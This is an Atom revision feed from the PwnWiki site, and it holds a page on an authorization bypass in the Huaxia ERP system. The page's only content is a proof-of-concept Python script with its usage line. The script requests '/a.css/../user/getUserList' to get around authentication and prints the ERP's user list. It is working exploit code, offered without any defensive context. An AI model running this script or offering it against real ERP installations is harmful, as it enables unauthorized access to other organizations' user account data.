https://pwnwiki.com/index.php?action=history&feed=atom&title=%E8%8F%AF%E5%A4%8FERP%E6%8E%88%E6%AC%8A%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E
華夏ERP授權繞過漏洞 - Revision history
2026-04-15T08:19:47Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E8%8F%AF%E5%A4%8FERP%E6%8E%88%E6%AC%8A%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&diff=3608&oldid=prev
Pwnwiki: Created page with "==POC== <pre> python3 poc.py http://ip:port </pre> <pre> import sys,requests def main(ip): url = "{ip}/a.css/../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22lo..."
2021-05-29T01:11:23Z
<p>Created page with "==POC== <pre> python3 poc.py http://ip:port </pre> <pre> import sys,requests def main(ip): url = "{ip}/a.css/../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22lo..."</p>
<p><b>New page</b></p><div>==POC==<br />
<pre><br />
python3 poc.py http://ip:port<br />
</pre><br />
<br />
<pre><br />
import sys,requests<br />
def main(ip):<br />
url = "{ip}/a.css/../user/getUserList?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D&currentPage=1&pageSize=15".format(ip=ip)<br />
res = requests.get(url,verify=False,timeout=5)<br />
if res.status_code == 200:<br />
print("+ {ip} 访问成功\n{data}".format(ip=ip,data=res.text))<br />
main(sys.argv[1])<br />
'''<br />
</pre></div>
Pwnwiki